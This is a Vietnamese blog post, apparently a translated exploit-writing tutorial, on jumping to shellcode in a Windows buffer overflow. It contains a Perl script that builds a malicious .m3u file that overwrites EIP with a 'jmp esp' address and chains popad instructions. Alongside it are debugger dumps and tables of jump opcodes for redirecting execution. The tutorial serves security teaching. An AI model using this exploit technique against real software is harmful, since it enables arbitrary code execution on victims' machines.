000ff830  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => garbage
000ff840  41 41 90 90 90 90 90 90-90 90 90 90 90 90 90 90  AA.............. | => garbage
000ff850  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................ | => NOPS/Shellcode
000ff860  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................ | => NOPS/Shellcode
000ff870  90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41  .....AAAAAAAAAAA | => NOPS/Shellcode
000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => NOPS/Shellcode
000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => NOPS/Shellcode
000ff8a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA | => NOPS/Shellcode
Giả sử chúng ta có 13X để sử dụng ( sẽ đặt popad ở đây) để nhảy qua 100 D và 160 A, tổng cộng là 260bytes sẽ đến shellcode của chúng ta ( bắt đầu bằng NOP rồi đến 1 break cc rồi đến A). Một popad = 32bytes, 260bytes = 9popad ( -28bytes), vì vậy cần phải bắt đầu shellcode với NOPs, hoặc bắt đầu shellcode ở cách đó 28bytes. Trường hợp của chúng ta sẽ đặt NOP ở trước.
Trước tiên ghi đè EIP với “jmp esp” ( xem lại các phần trước). Sau đó, thay X bằng 9 popad, tiếp đến là opcode “jmp esp” (0xff,0xe4).
my $file= "test1.m3u";
my $buffersize = 26094;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dll

my $preshellcode = "X" x 4;  # needed to point ESP at next 13 bytes below
$preshellcode=$preshellcode."\x61" x 9;  #9 popads
$preshellcode=$preshellcode."\xff\xe4";  #10th and 11th byte, jmp esp
$preshellcode=$preshellcode."\x90\x90\x90";  #fill rest with some nops

my $garbage = "\x44" x 100;  #garbage to jump over
my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
print "m3u File Created successfully\n";
Sau khi ứng dụng crash, dừng tại điểm break, ESP và EIP như sau:
(f40.5f0): Break instruction exception - code 80000003 (first chance)
eax=90909090 ebx=90904141 ecx=90909090 edx=90909090 esi=41414141 edi=41414141
eip=000ff874 esp=000ff850 ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff863:
000ff874 cc              int     3
0:000> d eip
000ff874  cc 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  .AAAAAAAAAAAAAAA
000ff884  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff894  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8a4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8b4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8c4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8d4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8e4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d eip-32
000ff842  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff852  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff862  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff872  90 90 cc 41 41 41 41 41-41 41 41 41 41 41 41 41  ...AAAAAAAAAAAAA
000ff882  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff892  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8a2  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8b2  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d esp
000ff850  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff860  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ff870  90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41  .....AAAAAAAAAAA
000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ff8c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
Popad đã làm việc và đặt ESP tại NOP của shellcode, sau đó thực hiện “jmp esp” (0xff 0xe4) làm EIP trỏ tới NOP. Thay thế A bằng shellcode thực sự:
pnwed again !
Một cách khác ( ít được ưa thích nhưng vẫn có khả năng) là nhảy đến shellcode bằng jumpcode sử dụng địa chỉ ( hoặc offset của thanh ghi). Từ khi mà địa chỉ/ thanh ghi khác nhau trong các chương trình thực thi cách này không còn có hiệu quả.
Vì vậy, để tiến hành hardcode địa chỉ hoặc offset của thanh ghi, bạn cần tìm opcode để nhảy, sau đó, sử dụng opcode này trong đoạn buffer nhỏ để nhảy tới shellcode thực của bạn.
Dưới đây là 2 ví dụ giúp bạn tìm được opcode:
1. jump to 0x12345678
0:000> a
7c90120e jmp 12345678
jmp 12345678
7c901213

0:000> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e e96544a495      jmp     12345678
=> opcode is 0xe9,0x65,0x44,0xa4,0x95

2. jump to ebx+124h
0:000> a
7c901214 add ebx,124
add ebx,124
7c90121a jmp ebx
jmp ebx
7c90121c

0:000> u 7c901214
ntdll!DbgUserBreakPoint+0x2:
7c901214 81c324010000    add     ebx,124h
7c90121a ffe3            jmp     ebx
Opcode là 0x81,0xc3,0x24,0x01,0x00,0x00  (add ebx 124h) và 0xff,0xe3 (jmp ebx).
  1.     Nhảy ngắn và nhảy có điều kiện.

Trong trường hợp bạn chỉ cần nhảy qua một vài bytes, bạn có thể dùng kỹ thuật “short jump” để thực hiện:
short jump : (jmp) : opcode 0xeb, theo sau là số bytes cần nhảy. Ví dụ, muốn nhảy 30 bytes, the opcode là 0xeb,0x1e.
Trong trường hợp bạn muốn nhảy có điều kiện ( khi điều kiện được đáp ứng), bạn sử dụng conditional (short/near) jump. Kỹ thuật này sử dụng trạng thái của các thanh ghi cờ EFLAGS (CF,OF,PF,SF và ZF). Nếu những cờ này ở trạng thái đặc biệt ( do điều kiện), có thể làm cho nhảy đến mục tiêu theo toán hạng đích.
Ví dụ: giả sử bạn muốn nhảy 6bytes, nhìn vào cờ ( ollydbg) và trạng thái cờ, bạn có thể dùng các opcode sau:
Nếu cờ Zero là 1, bạn có thể dùng opcode 0x74, tiếp theo là số bytes cần nhảy, là 0x06 trong ví dụ này.
Bảng dưới là opcode của các lệnh nhảy và cờ:
Code     Mnemonic     Description
77 cb     JA rel8     Jump short if above (CF=0 and ZF=0)
73 cb     JAE rel8     Jump short if above or equal (CF=0)
72 cb     JB rel8     Jump short if below (CF=1)
76 cb     JBE rel8     Jump short if below or equal (CF=1 or ZF=1)
72 cb     JC rel8     Jump short if carry (CF=1)
E3 cb     JCXZ rel8     Jump short if CX register is 0
E3 cb     JECXZ rel8     Jump short if ECX register is 0
74 cb     JE rel8     Jump short if equal (ZF=1)
7F cb     JG rel8     Jump short if greater (ZF=0 and SF=OF)
7D cb     JGE rel8     Jump short if greater or equal (SF=OF)
7C cb     JL rel8     Jump short if less (SF<>OF)
7E cb     JLE rel8     Jump short if less or equal (ZF=1 or SF<>OF)
76 cb     JNA rel8     Jump short if not above (CF=1 or ZF=1)
72 cb     JNAE rel8     Jump short if not above or equal (CF=1)
73 cb     JNB rel8     Jump short if not below (CF=0)
77 cb     JNBE rel8     Jump short if not below or equal (CF=0 and ZF=0)
73 cb     JNC rel8     Jump short if not carry (CF=0)
75 cb     JNE rel8     Jump short if not equal (ZF=0)
7E cb     JNG rel8     Jump short if not greater (ZF=1 or SF<>OF)
7C cb     JNGE rel8     Jump short if not greater or equal (SF<>OF)
7D cb     JNL rel8     Jump short if not less (SF=OF)
7F cb     JNLE rel8     Jump short if not less or equal (ZF=0 and SF=OF)
71 cb     JNO rel8     Jump short if not overflow (OF=0)
7B cb     JNP rel8     Jump short if not parity (PF=0)
79 cb     JNS rel8     Jump short if not sign (SF=0)
75 cb     JNZ rel8     Jump short if not zero (ZF=0)
70 cb     JO rel8     Jump short if overflow (OF=1)
7A cb     JP rel8     Jump short if parity (PF=1)
7A cb     JPE rel8     Jump short if parity even (PF=1)
7B cb     JPO rel8     Jump short if parity odd (PF=0)
78 cb     JS rel8     Jump short if sign (SF=1)
74 cb     JZ rel8     Jump short if zero (ZF = 1)
0F 87 cw/cd     JA rel16/32     Jump near if above (CF=0 and ZF=0)
0F 83 cw/cd     JAE rel16/32     Jump near if above or equal (CF=0)
0F 82 cw/cd     JB rel16/32     Jump near if below (CF=1)
0F 86 cw/cd     JBE rel16/32     Jump near if below or equal (CF=1 or ZF=1)
0F 82 cw/cd     JC rel16/32     Jump near if carry (CF=1)
0F 84 cw/cd     JE rel16/32     Jump near if equal (ZF=1)
0F 84 cw/cd     JZ rel16/32     Jump near if 0 (ZF=1)
0F 8F cw/cd     JG rel16/32     Jump near if greater (ZF=0 and SF=OF)
0F 8D cw/cd     JGE rel16/32     Jump near if greater or equal (SF=OF)
0F 8C cw/cd     JL rel16/32     Jump near if less (SF<>OF)
0F 8E cw/cd     JLE rel16/32     Jump near if less or equal (ZF=1 or SF<>OF)
0F 86 cw/cd     JNA rel16/32     Jump near if not above (CF=1 or ZF=1)
0F 82 cw/cd     JNAE rel16/32     Jump near if not above or equal (CF=1)
0F 83 cw/cd     JNB rel16/32     Jump near if not below (CF=0)
0F 87 cw/cd     JNBE rel16/32     Jump near if not below or equal (CF=0 and ZF=0)
0F 83 cw/cd     JNC rel16/32     Jump near if not carry (CF=0)
0F 85 cw/cd     JNE rel16/32     Jump near if not equal (ZF=0)
0F 8E cw/cd     JNG rel16/32     Jump near if not greater (ZF=1 or SF<>OF)
0F 8C cw/cd     JNGE rel16/32     Jump near if not greater or equal (SF<>OF)
0F 8D cw/cd     JNL rel16/32     Jump near if not less (SF=OF)
0F 8F cw/cd     JNLE rel16/32     Jump near if not less or equal (ZF=0 and SF=OF)
0F 81 cw/cd     JNO rel16/32     Jump near if not overflow (OF=0)
0F 8B cw/cd     JNP rel16/32     Jump near if not parity (PF=0)
0F 89 cw/cd     JNS rel16/32     Jump near if not sign (SF=0)
0F 85 cw/cd     JNZ rel16/32     Jump near if not zero (ZF=0)
0F 80 cw/cd     JO rel16/32     Jump near if overflow (OF=1)
0F 8A cw/cd     JP rel16/32     Jump near if parity (PF=1)
0F 8A cw/cd     JPE rel16/32     Jump near if parity even (PF=1)
0F 8B cw/cd     JPO rel16/32     Jump near if parity odd (PF=0)
0F 88 cw/cd     JS rel16/32     Jump near if sign (SF=1)
0F 84 cw/cd     JZ rel16/32     Jump near if 0 (ZF=1)
Dựa vào bảng, bạn cũng có thể nhảy nếu ECX bằng 0. Trong trường hợp SEH, các thanh ghi sẽ bị xóa khi ngoại lệ xảy ra, bạn có thể sử dụng opcode 0xe3 để nhảy (ECX = 00000000).
  1. Backward jumps

Trong trường hợp bạn muốn nhảy ngược lại ( nhảy với offset làm số âm): lấy số nghịch đảo và chuyển về dạng hex. Giá trị  dword hex được sử dụng như là argument cho jump (\xeb hoặc \xe9).
Ví dụ : jump back 7 bytes : -7 = FFFFFFF9,  cho nên jump -7 sẽ là: "\xeb\xf9\xff\xff"
Ví dụ nữa: jump back 400 bytes :  -400 = FFFFFE70, cho nên jump -400 bytes = "\xe9\x70\xfe\xff\xff"   ( bạn có thể thấy opcode dài 4bytes, trong khi một dword size (4 byte limit), vì thế bạn cần thực hiện nhiều bước nhảy để chia nhỏ bước nhảy ra).



Translate and Editor: Hà Bách Nam and Nguyễn Kim Thụy
google doc: Read part2 now
------------------------------------------------------------
Thanks for reading
--------------------------------------------------------------------------
All my Lab:
Linux Lab -- window and Cisco Lab
to be continued - I will update more.

1 comment:

brother rain said...

hi, cũng đang phải dịch cái này để làm tài liệu.
chỉ có điều là bạn nên ghi rõ nguồn
keep your great job ^.^

Install Xposed Inspector and Frida on Genymotion

Today i had some work with android. So i need trace application. I found 2 nice tool can help me: Xposed Inspector and Frida. To setup ther...